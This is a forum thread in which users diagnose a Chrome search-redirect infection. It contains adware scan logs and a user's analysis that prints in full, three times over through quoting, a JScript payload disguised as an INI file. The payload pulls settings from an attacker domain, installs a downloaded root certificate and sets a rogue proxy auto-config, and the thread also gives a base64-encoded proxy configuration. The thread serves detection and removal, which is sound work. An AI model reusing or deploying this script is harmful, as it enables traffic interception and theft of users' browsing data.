Windows 10: Google redirection localhost.world

# AdwCleaner v5.025 - Logfile created 17/12/2015 at 21:07:05
# Updated 13/12/2015 by Xplode
# Database : 2015-12-13.2 [Server]
# Operating system : Windows 10 Pro (x64)
# Username : Michael - MOTHERSHIP
# Running from : D:\Michael\Downloads\adwcleaner_5.025 (2).exe
# Option : Scan
# Support : Forum - ToolsLib


***** [ Services ] *****




***** [ Folders ] *****


Folder Found : C:\Users\Michael\AppData\Local\Google\Chrome\User Data\Default\Extensions\pbjikboenpfhbbejgkoklgkhjpfogcam


***** [ Files ] *****


File Found : C:\Users\Michael\AppData\Local\Google\Chrome\User Data\Default\Local Storage\chrome-extension_pbjikboenpfhbbejgkoklgkhjpfogcam_0.localstorage
File Found : C:\Users\Michael\AppData\Local\Google\Chrome\User Data\Default\Local Storage\chrome-extension_pbjikboenpfhbbejgkoklgkhjpfogcam_0.localstorage-journal
File Found : C:\Users\Michael\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pbjikboenpfhbbejgkoklgkhjpfogcam


***** [ DLL ] *****




***** [ Shortcuts ] *****




***** [ Scheduled tasks ] *****




***** [ Registry ] *****




***** [ Web browsers ] *****


[C:\Users\Michael\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences] [Extension] Found : pbjikboenpfhbbejgkoklgkhjpfogcam


########## EOF - C:\AdwCleaner\AdwCleaner[S4].txt - [1288 bytes] ##########


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Junkware Removal Tool (JRT) by Malwarebytes
Version: 8.0.1 (11.24.2015)
Operating System: Windows 10 Pro x64
Ran by Michael (Administrator) on Thu 12/17/2015 at 21:08:18.64
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








File System: 12


Successfully deleted: C:\Users\Michael\AppData\Local\Google\Chrome\User Data\Default\Extensions\ajpgkpeckebdhofmmjfgcjjiiejpodla (Folder)
Successfully deleted: C:\Users\Michael\AppData\Local\Google\Chrome\User Data\Default\Extensions\lbfehkoinhhcknnbdgnnmjhiladcgbol (Folder)
Successfully deleted: C:\Users\Michael\AppData\Local\Google\Chrome\User Data\Default\Extensions\pbjikboenpfhbbejgkoklgkhjpfogcam (Folder)
Successfully deleted: C:\Users\Michael\AppData\Local\Google\Chrome\User Data\Default\Local Storage\chrome-extension_ajpgkpeckebdhofmmjfgcjjiiejpodla_0.localstorage-journal (File)
Successfully deleted: C:\Users\Michael\AppData\Local\Google\Chrome\User Data\Default\Local Storage\chrome-extension_ajpgkpeckebdhofmmjfgcjjiiejpodla_0.localstorage (File)
Successfully deleted: C:\Users\Michael\AppData\Local\Google\Chrome\User Data\Default\Local Storage\chrome-extension_pbjikboenpfhbbejgkoklgkhjpfogcam_0.localstorage-journal (File)
Successfully deleted: C:\Users\Michael\AppData\Local\Google\Chrome\User Data\Default\Local Storage\chrome-extension_pbjikboenpfhbbejgkoklgkhjpfogcam_0.localstorage (File)
Successfully deleted: C:\Users\Michael\AppData\Roaming\Mozilla\Firefox\Profiles\37lpeheh.default\extensions\staged (Folder)
Successfully deleted: C:\WINDOWS\SysWOW64\REN25DB.tmp (File)
Successfully deleted: C:\WINDOWS\SysWOW64\REN5382.tmp (File)
Successfully deleted: C:\WINDOWS\SysWOW64\REN62C0.tmp (File)
Successfully deleted: C:\WINDOWS\SysWOW64\RENAAF3.tmp (File)


Deleted the following from C:\Users\Michael\AppData\Roaming\Mozilla\Firefox\Profiles\37lpeheh.default\prefs.js
user_pref(extensions.sovetnik.yandex.statistics.clid.21, 2238478-002);



Registry: 0


----

Chrome startup attached

--- RKILL log here. Couldn't paste here, too long. Nothing significant there though.

 

Whoa! I have never, in all my years cleaning viruses off computers, seen an RKILL log like that! *Shock
Has your computer been running slow at all? It appears as if your entire Windows OS is loaded with reparse junctions that point to nowhere.

These are nothing - video files from ASUS

This legitimate dll file has a reparse point to nowhere - that is suspicious, and why I ask if your computer was running slow. Zeroaccess is part of a botnet which either runs clickfraud or bitcoin mining.

And the list goes on and on for reparse points-thousands of them. Honestly, I've never seen anything like this.

You've got a major problem with your hosts file.



I will tell you what I would do at this point: either do a clean install, completely formatting your hard drive, or post for help at Bleeping Computer, to see if they are able to sort things.

 

The hosts file additions are mine. Those are all Adobe IPs that I am blocking

The rest, I'm not sure why RKILL shows all those. The first time I ran Rkill it didn't have any of that. I did post on Bleepingcomputer but no one responded yet. Btw, no my computer runs as fast as ever, no issues at all. -- I just ran Rkill again and it didn't have all that stuff (see attachment). So strange... Just rebooted and ran Rkill again and it's still fine. Maybe it was a fluke?

Thanks for the help

 

Ah, that explains it - I did look up a couple and one said Adobe in CA, another said something in VA...

Yes, be patient with them - they are inundated, but they are top-notch, and will work with someone until everything is completed - they never give up.

Great!

Could be - I know the "missing services" is.
Your new RKILL log looks much better now.

Your logs over at BC show:
GroupPolicyScripts: Restriction <======= ATTENTION
GroupPolicyScripts\User: Restriction <======= ATTENTION
CHR HKLM\SOFTWARE\Policies\Google: Restriction <======= ATTENTION
HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <======= ATTENTION

This might be the problem, unless you are specifically using Group Policy on your rig.

EDIT: I would say, now that you've posted there, and have a starting point, I wouldn't do anything else to the computer until they give you some instruction.

 

Thanks for the help!

 

No problem - good luck and keep us posted here of how it goes!

 

If anyone here has problems from this annoying virus like I did with Chrome closing, post on Bleepingcomputer and they will help you out. I haven't had the problem for about 4 days now so I'm guessing it's gone

 

Hey. I've been struggling with this problem for a while, and I think I just solved it. However, I assure that this malware was undetected by all the many tools I scanned my PC with, so it may require some review by, I don't know, the guys who write those tools.

Here we go: I noticed that Chrome getting closed and that cmd window that flashed happened always at 18:00, so searched in the task scheduler. Bingo:




(the first one, sorry for it being in Spanish)

The action for that task is the following:
Code: C:\Windows\system32\wscript.exe //nologo //B //E:jscript "C:\Users\[me]\AppData\Roaming\Adobe Acrobat Pro DC\settings.ini"[/quote] Looking at that ini file, it was indeed a JS file badly disguised as INI. Stripped of all the comments, this are its contents:
Code: var ns, no, re, rs, st, reg, pac;var ws = new ActiveXObject("Wscript.Shell"); var bs = new ActiveXObject("ADODB.Stream"); var xh = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); var tmp = ws.ExpandEnvironmentStrings("%TEMP%"); try { ns = ws.Exec("nslookup -type=txt remotesettings1.mtmyoq.se"); no = ns.StdOut.ReadAll(); re = new RegExp('"(.*?)"'); rs = re.exec(no); st = rs[1].split("|"); pac = st[0]; cer = st[1]; try { reg = ws.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL"); } catch (e) { } if (reg != pac) { ws.Run("taskkill /f /im iexplore.exe", 0, false); ws.Run("taskkill /f /im chrome.exe", 0, false); try { xh.Open("GET", cer, false); xh.Send(); bs.Type = 1; bs.Open(); bs.Write(xh.ResponseBody); bs.SaveToFile(tmp + "\\cert.cer", 2); ws.Run("certutil -addstore -f -enterprise -user root " + tmp + "\\cert.cer", 0, false); ws.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL", pac, "REG_SZ"); ws.RegWrite("HKEY_CURRENT_USER\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL", pac, "REG_SZ"); ws.RegWrite("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\EnableAutoProxyResultCache", 0, "REG_DWORD"); } catch (e$0) { } } } catch (e$1) { } ;[/quote] Pretty much the behavior we are seeing.

I can see that it also installs a certificate, probably to make work that fake google through https without raising errors. I can't tell much about the certificate since I am not very well up on the subject. What I can tell is that it was created by Fiddler free web debugging proxy
, and that it shows on my installed certs as this:




Well yeah, do not trust.

Interestingly, there are several domains involved in the malware. The first one, localhost.world from where that smelly proxy settings are pulled from, and mtmyoq.se. This last one, when visited, contains a long string that, when base64 decoded, looks like this:
Code: <Settings> <Setting> <ida>1122843206</ida> <UpdateVer>6.1.7600.20003</UpdateVer> <UpdateUrl></UpdateUrl> <UpdateType>2</UpdateType> <PacUrl>http://searchly.org/router.pac</PacUrl> <PacFile>ZnVuY3Rpb24gRmluZFByb3h5Rm9yVVJMKHVybCwgaG9zdCkgeyBpZiAoc2hFeHBNYXRjaChob3N0LCAid3d3Lmdvb2dsZS4qIikpIHJldHVybiAiUFJPWFkgMTI3LjAuMC4xOjgwODAiOyAgcmV0dXJuICJESVJFQ1QiO30=</PacFile> <OneIn>1</OneIn> <RewriteFrom></RewriteFrom> <RewriteTo></RewriteTo> <DisableRewrite>0</DisableRewrite> <Ping>1</Ping> <RedirectType>0</RedirectType> <Accounts> <Account> <RefUrl>http://www.digital4k.net/search.php?action=results&amp;sid=</RefUrl> <CX>009793234822822480237:wabrdd_t6e8</CX> </Account> </Accounts> </Setting> </Settings>[/quote] I couldn't tell what that part is but it involves more domains. What is clear is that this is obviously malware, probably an attemp of phising. And none of those domains or IPs are blocked by my security software (ESET Smart Security) or seem to be blacklisted anywhere. This is not ok.

Oh I almost forgot. To get rid of it, just delete the task, the .ini file, all the "DO_NOT_TRUST" certificates and revert the registry changes made. Ensure that there is not any proxy set.

 

Glad to hear it! *Thumbs

 

Looking at that ini file, it was indeed a JS file badly disguised as INI. Stripped of all the comments, this are its contents:
Code: var ns, no, re, rs, st, reg, pac;var ws = new ActiveXObject("Wscript.Shell"); var bs = new ActiveXObject("ADODB.Stream"); var xh = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); var tmp = ws.ExpandEnvironmentStrings("%TEMP%"); try { ns = ws.Exec("nslookup -type=txt remotesettings1.mtmyoq.se"); no = ns.StdOut.ReadAll(); re = new RegExp('"(.*?)"'); rs = re.exec(no); st = rs[1].split("|"); pac = st[0]; cer = st[1]; try { reg = ws.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL"); } catch (e) { } if (reg != pac) { ws.Run("taskkill /f /im iexplore.exe", 0, false); ws.Run("taskkill /f /im chrome.exe", 0, false); try { xh.Open("GET", cer, false); xh.Send(); bs.Type = 1; bs.Open(); bs.Write(xh.ResponseBody); bs.SaveToFile(tmp + "\\cert.cer", 2); ws.Run("certutil -addstore -f -enterprise -user root " + tmp + "\\cert.cer", 0, false); ws.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL", pac, "REG_SZ"); ws.RegWrite("HKEY_CURRENT_USER\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL", pac, "REG_SZ"); ws.RegWrite("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\EnableAutoProxyResultCache", 0, "REG_DWORD"); } catch (e$0) { } } } catch (e$1) { } ;[/quote] Pretty much the behavior we are seeing.

I can see that it also installs a certificate, probably to make work that fake google through https without raising errors. I can't tell much about the certificate since I am not very well up on the subject. What I can tell is that it was created by Fiddler free web debugging proxy
, and that it shows on my installed certs as this:




Well yeah, do not trust.

Interestingly, there are several domains involved in the malware. The first one, localhost.world from where that smelly proxy settings are pulled from, and mtmyoq.se. This last one, when visited, contains a long string that, when base64 decoded, looks like this:
Code: <Settings> <Setting> <ida>1122843206</ida> <UpdateVer>6.1.7600.20003</UpdateVer> <UpdateUrl></UpdateUrl> <UpdateType>2</UpdateType> <PacUrl>http://searchly.org/router.pac</PacUrl> <PacFile>ZnVuY3Rpb24gRmluZFByb3h5Rm9yVVJMKHVybCwgaG9zdCkgeyBpZiAoc2hFeHBNYXRjaChob3N0LCAid3d3Lmdvb2dsZS4qIikpIHJldHVybiAiUFJPWFkgMTI3LjAuMC4xOjgwODAiOyAgcmV0dXJuICJESVJFQ1QiO30=</PacFile> <OneIn>1</OneIn> <RewriteFrom></RewriteFrom> <RewriteTo></RewriteTo> <DisableRewrite>0</DisableRewrite> <Ping>1</Ping> <RedirectType>0</RedirectType> <Accounts> <Account> <RefUrl>http://www.digital4k.net/search.php?action=results&amp;sid=</RefUrl> <CX>009793234822822480237:wabrdd_t6e8</CX> </Account> </Accounts> </Setting> </Settings>[/quote] I couldn't tell what that part is but it involves more domains. What is clear is that this is obviously malware, probably an attemp of phising. And none of those domains or IPs are blocked by my security software (ESET Smart Security) or seem to be blacklisted anywhere. This is not ok.

Oh I almost forgot. To get rid of it, just delete the task, the .ini file, all the "DO_NOT_TRUST" certificates and revert the registry changes made. Ensure that there is not any proxy set.[/quote] Wow! That's some detective work! *Biggrin

 

So, are you going to ask him if he thinks you really had a Zeroaccess infection?

 

Looking at that ini file, it was indeed a JS file badly disguised as INI. Stripped of all the comments, this are its contents:
Code: var ns, no, re, rs, st, reg, pac;var ws = new ActiveXObject("Wscript.Shell"); var bs = new ActiveXObject("ADODB.Stream"); var xh = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); var tmp = ws.ExpandEnvironmentStrings("%TEMP%"); try { ns = ws.Exec("nslookup -type=txt remotesettings1.mtmyoq.se"); no = ns.StdOut.ReadAll(); re = new RegExp('"(.*?)"'); rs = re.exec(no); st = rs[1].split("|"); pac = st[0]; cer = st[1]; try { reg = ws.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL"); } catch (e) { } if (reg != pac) { ws.Run("taskkill /f /im iexplore.exe", 0, false); ws.Run("taskkill /f /im chrome.exe", 0, false); try { xh.Open("GET", cer, false); xh.Send(); bs.Type = 1; bs.Open(); bs.Write(xh.ResponseBody); bs.SaveToFile(tmp + "\\cert.cer", 2); ws.Run("certutil -addstore -f -enterprise -user root " + tmp + "\\cert.cer", 0, false); ws.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL", pac, "REG_SZ"); ws.RegWrite("HKEY_CURRENT_USER\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL", pac, "REG_SZ"); ws.RegWrite("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\EnableAutoProxyResultCache", 0, "REG_DWORD"); } catch (e$0) { } } } catch (e$1) { } ;[/quote] Pretty much the behavior we are seeing.

I can see that it also installs a certificate, probably to make work that fake google through https without raising errors. I can't tell much about the certificate since I am not very well up on the subject. What I can tell is that it was created by Fiddler free web debugging proxy
, and that it shows on my installed certs as this:




Well yeah, do not trust.

Interestingly, there are several domains involved in the malware. The first one, localhost.world from where that smelly proxy settings are pulled from, and mtmyoq.se. This last one, when visited, contains a long string that, when base64 decoded, looks like this:
Code: <Settings> <Setting> <ida>1122843206</ida> <UpdateVer>6.1.7600.20003</UpdateVer> <UpdateUrl></UpdateUrl> <UpdateType>2</UpdateType> <PacUrl>http://searchly.org/router.pac</PacUrl> <PacFile>ZnVuY3Rpb24gRmluZFByb3h5Rm9yVVJMKHVybCwgaG9zdCkgeyBpZiAoc2hFeHBNYXRjaChob3N0LCAid3d3Lmdvb2dsZS4qIikpIHJldHVybiAiUFJPWFkgMTI3LjAuMC4xOjgwODAiOyAgcmV0dXJuICJESVJFQ1QiO30=</PacFile> <OneIn>1</OneIn> <RewriteFrom></RewriteFrom> <RewriteTo></RewriteTo> <DisableRewrite>0</DisableRewrite> <Ping>1</Ping> <RedirectType>0</RedirectType> <Accounts> <Account> <RefUrl>http://www.digital4k.net/search.php?action=results&amp;sid=</RefUrl> <CX>009793234822822480237:wabrdd_t6e8</CX> </Account> </Accounts> </Setting> </Settings>[/quote] I couldn't tell what that part is but it involves more domains. What is clear is that this is obviously malware, probably an attemp of phising. And none of those domains or IPs are blocked by my security software (ESET Smart Security) or seem to be blacklisted anywhere. This is not ok.

Oh I almost forgot. To get rid of it, just delete the task, the .ini file, all the "DO_NOT_TRUST" certificates and revert the registry changes made. Ensure that there is not any proxy set.[/quote] Nevermind my issue was not resolved. Thanks so much for posting this. Looks like I have the same task in my Task Scheduler.

 

Seriously? and the certs as well?

 

Yep, and the same ini file. I deleted everything. Crazy how this went undetected

 

Can you give us the details please? the path to the ini file, the path to the registry changes, etc?